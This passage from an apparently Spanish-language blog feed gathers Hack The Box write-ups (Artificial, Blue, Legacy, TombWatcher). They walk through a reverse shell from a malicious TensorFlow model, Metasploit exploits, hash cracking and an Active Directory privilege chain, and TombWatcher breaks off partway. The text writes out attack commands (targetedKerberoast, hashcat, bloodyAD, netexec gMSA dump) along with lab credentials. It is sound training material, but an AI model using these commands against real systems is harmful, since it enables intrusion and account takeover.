<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1762462099904/1a5ccd11-7388-43e4-be38-78f889b13d77.png" alt="" />

<p>Obtenemos la flag de user y root</p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1762462108409/e44e0418-df4e-49b1-a22c-8e986c3faac6.png" alt="" />

<hr />
<p>📌 <strong>Sígueme / Portfolio</strong></p>
<p>🌐 <strong>Web:</strong> <a href="https://0xnano.com/">https://0xnano.com</a></p>
<p>🐦 <strong>X:</strong> <a href="https://x.com/0xN4no">https://x.com/0xN4no</a></p>
<p>🐙 <strong>GitHub:</strong> <a href="https://github.com/0xN4no">https://github.com/0xN4no</a></p>
<img src="https://www.hackthebox.eu/badge/image/54373" alt="Nano" />

<p>🔎 ¿Te gustó el writeup? Comentá o compartilo — siempre respondo dudas y me encanta ver mejoras/PRs.</p>
<hr />
]]></content:encoded></item><item><title><![CDATA[Artificial WriteUp]]></title><description><![CDATA[Se hace un escaneo de nmap para reconocer el entorno con los parametros:

-sV Para identificar las versiones de los servicios expuestos.

-Pn Para omitir el ping a los hosts (asumiendo que están activ]]></description><link>https://blog.0xnano.com/artificial-writeup</link><guid isPermaLink="true">https://blog.0xnano.com/artificial-writeup</guid><category><![CDATA[TensorFlow]]></category><category><![CDATA[#HackTheBox]]></category><category><![CDATA[HTB Writeup]]></category><category><![CDATA[htb]]></category><category><![CDATA[hackthebox machine]]></category><category><![CDATA[CTF Writeup]]></category><category><![CDATA[AI]]></category><category><![CDATA[Artificial Intelligence]]></category><dc:creator><![CDATA[Nano]]></dc:creator><pubDate>Sat, 01 Nov 2025 03:11:40 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/68aa9d21543a893c94842618/4953f543-19ac-4fea-bd2f-7db6ef954a01.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<hr />
<p>Se hace un escaneo de <code>nmap</code> para reconocer el entorno con los parametros:</p>
<ul>
<li><p><code>-sV</code> Para identificar las versiones de los servicios expuestos.</p>
</li>
<li><p><code>-Pn</code> Para omitir el ping a los hosts (asumiendo que están activos).</p>
</li>
<li><p><code>-sC</code> Para utilizar los scripts por defecto de <code>nmap</code>.</p>
  <img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1761370161142/b5be1cb9-fa37-4c60-b9d3-bbe4e9c48faa.png" alt="" /></li>
</ul>
<p>Como podemos observar, en el puerto 80 hay un servidor http funcionando el cual nos redireccionara a <a href="http://artificial.htb/">http://artificial.htb/</a> donde veremos que hay un sitio web en el cual debemos registrarnos para acceder</p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1761370170720/44abada5-378b-4b7b-ab75-19df5099bf4c.png" alt="" />

<p>Tras registrarnos, iniciamos sesion en <a href="http://artificial.htb/login">http://artificial.htb/login</a></p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1761370178362/16fdb9fa-80ce-4e47-8361-f1bd75b6b17c.png" alt="" />

<p>Y se nos redirigirá a /dashboard donde veremos un apartado el cual es para subir, gestionar y lanzar, nuestros propios modelos de inteligencia artificial, para esto, es necesario tener instalados los requirimientos para construir el modelo y usar el dockerfile para crear el entorno necesario.</p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1761370186547/207fad65-b94e-4998-8f88-d8dd047aa38e.png" alt="" />

<p>Si revisamos, veremos que uno de los requerimientos, es tensorflow en la version 2.13.1</p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1761370242588/7f7c98d7-9336-40eb-8956-cac8c9e844fb.png" alt="" />

<p>Tras buscar un poco, encontramos que hay un posible RCE mediante la creacion de un modelo malicioso:</p>
<p><a href="https://splint.gitbook.io/cyberblog/security-research/tensorflow-remote-code-execution-with-malicious-model">TensorFlow Remote Code Execution with Malicious Model | CyberBlog</a></p>
<p>Creamos el entorno con los requerimientos necesarios, y creamos nuestro modelo malicioso, una vez subido, obtendremos una revshell</p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1761370250786/fa89cb55-5e18-4d6e-9144-7ca6cab1a0df.png" alt="" />

<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1761370261007/87f7c707-6e2b-445a-8a9c-30511a4f8f0a.png" alt="" />

<p><code>$ john --format=raw-md5 hashes.txt --wordlist=/usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt</code></p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1761964799478/ff2a0b3a-dd1c-4a40-9c89-073aa8f99095.png" alt="" style="display:block;margin:0 auto" />

<p>hacker (hacker)<br />mattp005numbertwo (gael)<br />marwinnarak043414036 (royer)</p>
<p>Entramos por ssh con las credenciales del usuario gael y obtenemos la flag de user</p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1761370282249/644688a9-b17c-4928-a24c-f481177ff508.png" alt="" />

<p>Subimos linpeas.sh para ver posibles vectores de escalada de privilegios</p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1761965130475/11a70050-e05b-4c5a-beb0-b82bff8ae814.png" alt="" style="display:block;margin:0 auto" />

<p>Si revisamos el escaneo de linpeas, veremos que hay archivos de copias de seguridad</p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1761965254618/a3deb387-f475-442f-84a9-822f0aaa9c69.png" alt="" style="display:block;margin:0 auto" />

<p>Entre ellos hay uno que parece interesante llamado backrest_backup.tar.gz dentro de /var/backups</p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1761965316902/875a167e-7f2c-41e5-93d8-cf5cb4eb2387.png" alt="" style="display:block;margin:0 auto" />

<p>Lo descargamos en nuestra maquina utilizando scp</p>
<p><code>$ scp gael@artificial.htb:/var/backups/backrest_backup.tar.gz</code></p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1761965417573/876e4380-ff8d-439f-ac3e-966875a3d232.png" alt="" style="display:block;margin:0 auto" />

<p>Descomprimimos el archivo para ver su contenido</p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1761965438475/3709165f-b3ea-4ff8-a999-a556f913e31e.png" alt="" style="display:block;margin:0 auto" />

<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1761965457177/4f507987-e026-48e3-96ca-8f72d8ea9372.png" alt="" style="display:block;margin:0 auto" />

<p>Si revisamos el archivo config.json veremos las credenciales del usuario backrest_root con la password cifrada</p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1761965498709/a1c60f9e-0ba1-4941-bfd2-c620a9613fc1.png" alt="" style="display:block;margin:0 auto" />

<p>Decodeamos la clave</p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1761965567654/265b8f31-dd22-4c03-8498-f6cd6fed36f5.png" alt="" style="display:block;margin:0 auto" />

<p>Password: <code>!@#$%^</code></p>
<p>Si revisamos <a href="http://install.sh">install.sh</a> veremos que la interfaz web de backrest esta activa en el puerto 9898</p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1761965608897/562573c9-f7f7-4b27-8bf9-78638a183629.png" alt="" style="display:block;margin:0 auto" />

<p>Hacemos un portforwarding del puerto 9898 para acceder a la interfaz de backrest</p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1761965764658/7836b4f8-afc0-4f8d-b907-fa0c95a41875.png" alt="" style="display:block;margin:0 auto" />

<p>Revisamos que tenemos acceso accediendo a localhost:9898 y como podemos observar, nos aparece la interfaz web de backrest en su version 1.7.2</p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1761965787337/d9c6e8a5-38e2-426f-b64f-875a4fb68a41.png" alt="" style="display:block;margin:0 auto" />

<p>Iniciamos sesion con las credenciales previamente obtenidas:</p>
<p>user: <code>backrest_root</code><br />pass: <code>!@#$%^</code></p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1761965938021/8ff87a14-020a-4193-82c6-3d8e421e3416.png" alt="" style="display:block;margin:0 auto" />

<p>Creamos un repositorio que haga una copia de seguridad de /root para obtener la flag de root</p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1761966040060/c588d92b-92ee-452c-9df4-b89973ce8c2b.png" alt="" style="display:block;margin:0 auto" />

<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1761966194233/4608b0fe-ff61-4733-9529-8a60a670cb46.png" alt="" style="display:block;margin:0 auto" />

<p>Realizamos la copia de seguridad presionando backup now</p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1761966210876/0ae1a77b-b369-4461-8984-d79aad19ee81.png" alt="" style="display:block;margin:0 auto" />

<p>Revisamos el contenido de la snapshot</p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1761966256534/c8a70ce5-65e8-4356-8985-91ba1bf953e4.png" alt="" style="display:block;margin:0 auto" />

<p>Confirmamos que se copio la flag de root y descargamos la copia de seguridad</p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1761966283306/6301b997-4e64-4b26-b2bc-68521c64eb4c.png" alt="" style="display:block;margin:0 auto" />

<p>Restauramos el archivo /root/root.txt de la snapshot que realizamos</p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1761966445239/6a151ce8-c8d9-4d8a-9a5d-4be3a8d4dcf7.png" alt="" style="display:block;margin:0 auto" />

<p>Descargamos el archivo de restauracion</p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1761966458025/94c68246-7ea2-4b20-a1a4-b285009e1eca.png" alt="" style="display:block;margin:0 auto" />

<p>Descomprimimos el archivo de la copia de seguridad y obtenemos la flag de root</p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1761966502491/908aaf99-f831-40d3-972d-59a1c6bbfc9a.png" alt="" style="display:block;margin:0 auto" />

<hr />
<p>📌 <strong>Sígueme / Portfolio</strong></p>
<p>🌐 <strong>Web:</strong> <a href="https://0xnano.com/">https://0xnano.com</a></p>
<p>🐦 <strong>X:</strong> <a href="https://x.com/0xN4no">https://x.com/0xN4no</a></p>
<p>🐙 <strong>GitHub:</strong> <a href="https://github.com/0xN4no">https://github.com/0xN4no</a></p>
<img src="https://www.hackthebox.eu/badge/image/54373" alt="Nano" />

<p>🔎 ¿Te gustó el writeup? Comentá o compartilo — siempre respondo dudas y me encanta ver mejoras/PRs.</p>
<hr />
]]></content:encoded></item><item><title><![CDATA[Blue WriteUp]]></title><description><![CDATA[Iniciamos con un escaneo de puertos con --script vuln para ver posibles vulnerabilidades:
$ nmap -sV -Pn -sC --script vuln -v 10.129.230.45


Como podemos observar, la maquina es vulnerable al CVE-201]]></description><link>https://blog.0xnano.com/blue-writeup</link><guid isPermaLink="true">https://blog.0xnano.com/blue-writeup</guid><category><![CDATA[#HackTheBox]]></category><category><![CDATA[hackthebox machine]]></category><category><![CDATA[HTB Writeup]]></category><category><![CDATA[CTF Writeup]]></category><category><![CDATA[eternalblue]]></category><category><![CDATA[Windows]]></category><dc:creator><![CDATA[Nano]]></dc:creator><pubDate>Thu, 30 Oct 2025 02:52:47 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/68aa9d21543a893c94842618/c3308ab4-6fa6-4d4e-ac1e-e7c2ed18725e.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Iniciamos con un escaneo de puertos con <code>--script vuln</code> para ver posibles vulnerabilidades:</p>
<p><code>$ nmap -sV -Pn -sC --script vuln -v 10.129.230.45</code></p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1761792550721/e5afc322-a309-4696-b105-97e346ca32cd.png" alt="" style="display:block;margin:0 auto" />

<p>Como podemos observar, la maquina es vulnerable al CVE-2017-0143 conocido como EternalBlue</p>
<p>Iniciamos la consola de metasploit y filtramos por el CVE-2017-0143</p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1761792570445/7fa7c303-48ec-496d-826a-981869535d83.png" alt="" style="display:block;margin:0 auto" />

<p>Configuramos el exploit de forma que podamos obtener una sesion de meterpreter</p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1761792592244/7ffd1ec5-bfc1-4775-902d-381c61c6a050.png" alt="" style="display:block;margin:0 auto" />

<p>Una vez configurado todo, lanzamos el exploit</p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1761792605290/5a5cc39f-f791-4a68-a416-5e9a24545c99.png" alt="" style="display:block;margin:0 auto" />

<p>Al obtener la sesion de meterpreter, verificamos que somos NT AUTHORITY\SYSTEM por lo cual tenemos el maximo privilegio sobre el sistema</p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1761792619530/d2d94157-60c1-4c71-a5ea-52b9929bd082.png" alt="" style="display:block;margin:0 auto" />

<p>Obtenemos la flag de user en C:\Users\haris\Desktop</p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1761792632163/8b2c8bb9-5bb2-4308-b37b-648d145f88f8.png" alt="" style="display:block;margin:0 auto" />

<p>Obtenemos la flag de root en C:\Users\Administrator\Desktop</p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1761792648192/8f095a01-48e1-4003-a180-78a89c6ee699.png" alt="" style="display:block;margin:0 auto" />

<hr />
<p>📌 <strong>Sígueme / Portfolio</strong></p>
<p>🌐 <strong>Web:</strong> <a href="https://0xnano.com/">https://0xnano.com</a></p>
<p>🐦 <strong>X:</strong> <a href="https://x.com/0xN4no">https://x.com/0xN4no</a></p>
<p>🐙 <strong>GitHub:</strong> <a href="https://github.com/0xN4no">https://github.com/0xN4no</a></p>
<img src="https://www.hackthebox.eu/badge/image/54373" alt="Nano" />

<p>🔎 ¿Te gustó el writeup? Comentá o compartilo — siempre respondo dudas y me encanta ver mejoras/PRs.</p>
<hr />
]]></content:encoded></item><item><title><![CDATA[Legacy WriteUp]]></title><description><![CDATA[Iniciamos con un escaneo de puertos:
$ nmap -sV -Pn -sC -v 10.129.227.181


Como podemos observar, en el puerto 445 parece estar corriendo el servicio SMB y el sistema operativo remoto es WIndows XP, ]]></description><link>https://blog.0xnano.com/legacy-writeup</link><guid isPermaLink="true">https://blog.0xnano.com/legacy-writeup</guid><category><![CDATA[Windows]]></category><category><![CDATA[Active Directory]]></category><category><![CDATA[htb]]></category><category><![CDATA[HTB Writeup]]></category><category><![CDATA[HTB Machines]]></category><category><![CDATA[#HackTheBox]]></category><dc:creator><![CDATA[Nano]]></dc:creator><pubDate>Wed, 29 Oct 2025 04:54:04 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/68aa9d21543a893c94842618/2fef95d7-74f8-4266-be3f-589ede90954f.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Iniciamos con un escaneo de puertos:</p>
<p><code>$ nmap -sV -Pn -sC -v 10.129.227.181</code></p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1761708972659/3ccc1b75-5b69-486f-b669-f3883a878d01.png" alt="" style="display:block;margin:0 auto" />

<p>Como podemos observar, en el puerto 445 parece estar corriendo el servicio SMB y el sistema operativo remoto es WIndows XP, que utiliza Windows 2000 LAN Manager como protocolo SMB, esto indica que estamos frente a una maquina muy desactualizada y posiblemente vulnerable a varios exploits.</p>
<pre><code class="language-plaintext">445/tcp open  microsoft-ds Windows XP microsoft-ds
Service Info: OSs: Windows, Windows XP; CPE: cpe:/o:microsoft:windows, cpe:/o:microsoft:windows_xp

Host script results:
| smb-os-discovery:
|   OS: Windows XP (Windows 2000 LAN Manager)
|   OS CPE: cpe:/o:microsoft:windows_xp::-
|   Computer name: legacy
|   NetBIOS computer name: LEGACY\x00
|   Workgroup: HTB\x00
|_  System time: 2025-11-03T06:34:10+02:00
| nbstat: NetBIOS name: LEGACY, NetBIOS user: &lt;unknown&gt;, NetBIOS MAC: 00:50:56:94:86:25 (VMware)
| Names:
|   LEGACY&lt;00&gt;           Flags: &lt;unique&gt;&lt;active&gt;
|   LEGACY&lt;20&gt;           Flags: &lt;unique&gt;&lt;active&gt;
|   HTB&lt;00&gt;              Flags: &lt;group&gt;&lt;active&gt;
|   HTB&lt;1e&gt;              Flags: &lt;group&gt;&lt;active&gt;
|   HTB&lt;1d&gt;              Flags: &lt;unique&gt;&lt;active&gt;
|_  \x01\x02__MSBROWSE__\x02&lt;01&gt;  Flags: &lt;group&gt;&lt;active&gt;
|_smb2-time: Protocol negotiation failed (SMB2)
| smb-security-mode:
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
|_clock-skew: mean: 5d03h57m35s, deviation: 1h24m50s, median: 5d02h57m35s
</code></pre>
<p>Realizamos un escaneo de nmap para ver vulnerabilidades en el puerto 445</p>
<p><code>$ nmap --script vuln -p445 10.129.227.181</code></p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1761712548684/997c2ff7-59ac-4bba-9c39-e8a0c9e22d47.png" alt="" style="display:block;margin:0 auto" />

<p>Filtramos por el CVE-2008-4250 en metasploit</p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1761709090781/b838cf7c-c68d-4ef5-8c8e-e968b0a45980.png" alt="" style="display:block;margin:0 auto" />

<p>Vamos a utilizar el primer resultado, para ello simplemente podemos poner en la consola de metasploit <code>use 0</code> o <code>use windows/smb/ms08_067_netapi</code> y finalmente con <code>show options</code> veremos las opciones disponibles del exploit</p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1761709104412/205f0b08-6c49-4e88-8694-08e6df38f7ca.png" alt="" style="display:block;margin:0 auto" />

<p>Verificamos que esten todas las opciones bien seteadas</p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1761709115912/ae7664ae-3b95-4dcf-8dd4-ccc5cbc683dd.png" alt="" style="display:block;margin:0 auto" />

<p>Tras correr el exploit, obtendremos una sesion de meterpreter como NT AUTHORITY\SYSTEM dandonos asi, permiso total sobre el sistema</p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1761709126981/2edfe1fd-7b0d-4de9-b73f-e330b9ba4573.png" alt="" style="display:block;margin:0 auto" />

<p>Obtenemos una shell y accedemos a las carpetas del sistema</p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1761709178616/f3acb175-41a2-48a3-a99f-8f04a7e9b38c.png" alt="" style="display:block;margin:0 auto" />

<p>Como somos NT AUTHORITY\SYSTEM obtenemos la flag de user y root</p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1761709161239/14d7ca42-d972-4a6c-bb80-fd59ec2b99ef.png" alt="" style="display:block;margin:0 auto" />

<hr />
<p>📌 <strong>Sígueme / Portfolio</strong></p>
<p>🌐 <strong>Web:</strong> <a href="https://0xnano.com/">https://0xnano.com</a></p>
<p>🐦 <strong>X:</strong> <a href="https://x.com/0xN4no">https://x.com/0xN4no</a></p>
<p>🐙 <strong>GitHub:</strong> <a href="https://github.com/0xN4no">https://github.com/0xN4no</a></p>
<img src="https://www.hackthebox.eu/badge/image/54373" alt="Nano" />

<p>🔎 ¿Te gustó el writeup? Comentá o compartilo — siempre respondo dudas y me encanta ver mejoras/PRs.</p>
<hr />
]]></content:encoded></item><item><title><![CDATA[TombWatcher WriteUp]]></title><description><![CDATA[As is common in real life Windows pentests, you will start the TombWatcher box with credentials for the following account: henry / H3nry_987TGV!

Se hace un escaneo de nmap para reconocer el entorno c]]></description><link>https://blog.0xnano.com/tombwatcher-writeup</link><guid isPermaLink="true">https://blog.0xnano.com/tombwatcher-writeup</guid><category><![CDATA[#HackTheBox]]></category><category><![CDATA[HTB Writeup]]></category><category><![CDATA[hacking]]></category><category><![CDATA[kerberoasting]]></category><dc:creator><![CDATA[Nano]]></dc:creator><pubDate>Sat, 11 Oct 2025 03:00:49 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/68aa9d21543a893c94842618/0f3a64be-1c2d-4f9d-9da4-5fbcaa5dac97.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>As is common in real life Windows pentests, you will start the TombWatcher box with credentials for the following account: henry / H3nry_987TGV!</p>
<hr />
<p>Se hace un escaneo de <code>nmap</code> para reconocer el entorno con los parametros:</p>
<ul>
<li><p><code>-sV</code> Para identificar las versiones de los servicios expuestos.</p>
</li>
<li><p><code>-Pn</code> Para omitir el ping a los hosts (asumiendo que están activos).</p>
</li>
<li><p><code>-sC</code> Para utilizar los scripts por defecto de <code>nmap</code>.</p>
</li>
</ul>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1759904313657/b030d361-84a4-4bf3-9678-586a65244f87.png" alt="" />

<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1759904327109/a97bb58e-37d2-4dbf-bc5d-6dbe7fc5d4ab.png" alt="" />

<p>Realizamos un escaneo del AD con <strong>bloodhound</strong> utilizando las credenciales proporcionadas:</p>
<p><code>$ bloodhound-python -u ‘henry’ -p ‘H3nry_987TGV!‘</code></p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1759904336037/0e66f272-4433-4110-a0e8-a03d9609f5d1.png" alt="" />

<p>El usuario <a href="mailto:HENRY@TOMBWATCHER.HTB">HENRY@TOMBWATCHER.HTB</a> tiene permisos de <strong>WriteSPN</strong> sobre el usuario <a href="mailto:ALFRED@TOMBWATCHER.HTB">ALFRED@TOMBWATCHER.HTB</a></p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1759904344660/f5b0f3dc-e4d9-43c4-bdd4-ee66ebf4786f.png" alt="" />

<p>El usuario Alfred tiene permisos de <strong>AddSelf</strong> sobre el grupo <a href="mailto:INFRAESTRUCTURE@TOMBWATCHER.HTB">INFRAESTRUCTURE@TOMBWATCHER.HTB</a></p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1759904353269/c51110ad-f65e-4632-af20-159be4f376cc.png" alt="" />

<p>El grupo <a href="mailto:INFRAESTRUCTURE@TOMBWATCHER.HTB">INFRAESTRUCTURE@TOMBWATCHER.HTB</a> tiene permisos de <strong>ReadGMSAPassword</strong> sobre ANSIBLE_DEV$@TOMBWATCHER.HTB</p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1759904362378/61c68114-4d17-4652-ba13-5b01ca30f63d.png" alt="" />

<p>El usuario ANSIBLE_DEV$ Tiene permisos de <strong>ForceChangePassword</strong> sobre el usuario <a href="mailto:SAM@TOMBWATCHER.HTB">SAM@TOMBWATCHER.HTB</a></p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1759904370938/e4f321c1-84a9-4867-9176-b5fa18812c4e.png" alt="" />

<p>El usuario SAM tiene permisos de <strong>WriteOwner</strong> sobre el usuario <a href="mailto:JOHN@TOMBWATCHER.HTB">JOHN@TOMBWATCHER.HTB</a></p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1759904378619/cee2312d-60bb-40c8-9bdf-4d698dc6f31a.png" alt="" />

<p>El usuario John tiene permisos de <strong>GenericAll</strong> sobre la cuenta de equipo <a href="mailto:ADCS@TOMBWATCHER.HTB">ADCS@TOMBWATCHER.HTB</a></p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1759904386115/23fbcd0a-f177-48e0-8968-7874b13d7721.png" alt="" />

<p>Teniendo en cuenta el escaneo de <strong>bloodhound</strong>, el vector de ataque es claro. Como el usuario <strong>henry</strong> tiene permisos de <strong>WriteSPN</strong> sobre el usuario <strong>alfred</strong>, esto hace posible un <strong>Kerberoasting</strong>.</p>
<p><strong>¿Qué es Kerberoasting?</strong></p>
<p>Kerberoasting es un ataque contra Active Directory donde un atacante solicita tickets de servicio (TGS) para cuentas que tienen un <code>servicePrincipalName</code> (SPN). Esos TGS están cifrados con la clave (hash) de la cuenta de servicio. El atacante extrae el ticket y lo rompe offline (con fuerza/bruteforce o diccionario) para recuperar la contraseña de la cuenta objetivo sin necesidad de interactuar continuamente con el dominio.</p>
<p>El ataque consiste en:</p>
<ul>
<li><p><strong>Detectar cuentas con SPN</strong> — identificar cuentas de servicio asociadas a SPNs (p. ej. con BloodHound, GetUserSPNs, powerview).</p>
</li>
<li><p><strong>Solicitar TGS</strong> — pedir un ticket de servicio para el SPN desde una cuenta con permisos suficientes (cualquier usuario autenticado puede solicitar TGS para un SPN conocido).</p>
</li>
<li><p><strong>Volcar/extraer el TGS</strong> — guardar la respuesta (TGS) que viene cifrada con la clave de la cuenta de servicio.</p>
</li>
<li><p><strong>Extraer el “hash” del TGS</strong> — transformar el TGS en el formato que aceptan crackeadores (hash para John/Hashcat).</p>
</li>
<li><p><strong>Crackear offline</strong> — usar Hashcat/John con diccionarios o fuerza bruta para recuperar la contraseña (si es débil).</p>
</li>
<li><p><strong>Usar la credencial</strong> — con la contraseña conseguida, el atacante puede autenticarse como la cuenta de servicio y moverse lateralmente o acceder a recursos.</p>
</li>
</ul>
<p>En este caso, al tener <strong>henry</strong> permisos para modificar el atributo <code>servicePrincipalName</code> de <strong>alfred</strong>, se le podria asociar un <strong>SPN</strong> a ese usuario y solicitar un ticket de servicio (<strong>TGS</strong>) para ese <strong>SPN</strong> y obtener un <strong>TGS</strong> cifrado con la clave de la cuenta de <strong>alfred</strong>. Ese ticket puede extraerse y crackear offline, por lo cual podriamos llegar a obtener la clave de <strong>alfred</strong> mediante un ataque de <strong>bruteforce</strong> si esta llegase a ser una contraseña debil.</p>
<p>Obtenemos el hash <strong>krb5</strong> con:</p>
<p><code>\( faketime "\)(ntpdate -q dc01.tombwatcher.htb | cut -d ' ' -f 1,2)" python3 targetedKerberoast.py -v -u henry -p H3nry_987TGV! -d tombwatcher.htb</code></p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1759904395020/e15d5438-73ef-40d8-ad95-89007f00f7da.png" alt="" />

<p>Metemos el hash en un archivo con:</p>
<p><code>\( echo '\)krb5tg...' &gt; alfred.hash</code></p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1759904402964/7c906c61-794a-4f02-ba46-70bc417b8b0d.png" alt="" />

<p>Crackeamos el hash con <strong>hashcat</strong> utilizando como diccionario <strong>rockyou.txt</strong>:</p>
<p><code>$ hashcat -m 13100 alfred.hash /usr/share/wordlists/rockyou.txt</code></p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1759904410371/7b094113-abf4-497c-a886-7df299b42761.png" alt="" />

<p>Obtenemos la clave de alfred</p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1759904417878/82e74634-0362-4b4e-8a35-05bced32fb1d.png" alt="" />

<p><strong>Contraseña crackeada:</strong> <code>alfred:basketball</code></p>
<p>Como <strong>alfred</strong> tiene permisos de <strong>AddSelf</strong> sobre el grupo <strong>Infraestructure</strong>, esto permite que el mismo usuario se pueda agregar al grupo Infraestructure, por lo cual utilizamos <strong>bloodyAD</strong> para agregarnos al grupo <strong>Infraestructure</strong> como alfred:</p>
<p><code>$ bloodyAD -u alfred -p basketball -d tombwatcher.htb --dc-ip 10.129.53.187 add groupMember 'CN=INFRASTRUCTURE,CN=USERS,DC=TOMBWATCHER,DC=HTB' alfred</code></p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1759904426305/89a93a26-65db-4e35-a250-96d472584a32.png" alt="" />

<p>Como el grupo <strong>Infraestructure</strong> tiene permisos de <strong>ReadGMSAPassword sobre ansible_dev\(</strong> esto permite que podamos leer la clave del <strong>gMSA</strong> enlazado a esa cuenta maquina. Como <strong>alfred</strong> ya forma parte del grupo <strong>Infraestructure</strong>, utilizamos <strong>netexec</strong> para dumpear el <strong>gMSA</strong> y de esta forma, obtenemos el hash <strong>NTLM</strong> de <strong>ansible_dev\)</strong>:</p>
<p><code>$ nxc ldap 10.129.53.187 -u 'alfred' -p 'basketball' --gmsa</code></p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1759904434890/a2f7f445-893a-4e5f-8564-9c538c436b87.png" alt="" />

<p><code>LDAPS 10.129.207.44 636 DC01 Account: ansible_dev$ NTLM: 1c37d00093dc2a5f25176bf2d474afdc</code></p>
<p>Como <strong>ansible_dev\(</strong> tiene permisos de <strong>ForceChangePassword</strong> sobre <strong>SAM</strong>, esto permite que <strong>ansible_dev\)</strong> pueda <strong>forzar un cambio de contraseña</strong> sobre <strong>SAM</strong>, como ya obtuvimos el hash <strong>NTLM</strong> de <strong>ansible_dev$</strong>, cambiamos la clave del usuario <strong>SAM a ‘Hacked_1337’</strong> pasandole el hash obtenido previamente:</p>
<p><code>\( bloodyAD --dc-ip 10.129.53.187 --host dc01.tombwatcher.htb -d tombwatcher.htb -u 'ansible_dev\)' -p ":1c37d00093dc2a5f25176bf2d474afdc" set password 'CN=SAM,CN=USERS,DC=TOMBWATCHER,DC=HTB' 'Hacked_1337'</code></p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1759904443686/fcc39f7e-9ae4-40ff-b928-87bd2139b12c.png" alt="" />

<p>Como <strong>sam</strong> tiene permisos de <strong>WriteOwner</strong> sobre el usuario <strong>john</strong>, esto permite que se pueda asignar a <strong>sam</strong> como dueño del usuario <strong>john</strong>:</p>
<p><code>$ bloodyAD --dc-ip 10.129.53.187 --host dc01.tombwatcher.htb -d tombwatcher.htb -u 'sam' -p 'Hacked_1337' set owner 'CN=JOHN,CN=USERS,DC=TOMBWATCHER,DC=HTB' 'sam'</code></p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1759904451018/9b54a87c-e174-44d3-a77f-3d4537ac8168.png" alt="" />

<p>Le damos permisos de <strong>GenericAll</strong> al usuario <strong>sam</strong> sobre el usuario <strong>john</strong> para darle control completo sobre <strong>john</strong> en el <strong>AD</strong>:</p>
<p><code>$ bloodyAD --dc-ip 10.129.53.187 --host dc01.tombwatcher.htb -d tombwatcher.htb -u sam -p 'Hacked_1337' add genericAll "CN=john,CN=Users,DC=tombwatcher,DC=htb" "CN=sam,CN=Users,DC=tombwatcher,DC=htb"</code></p>
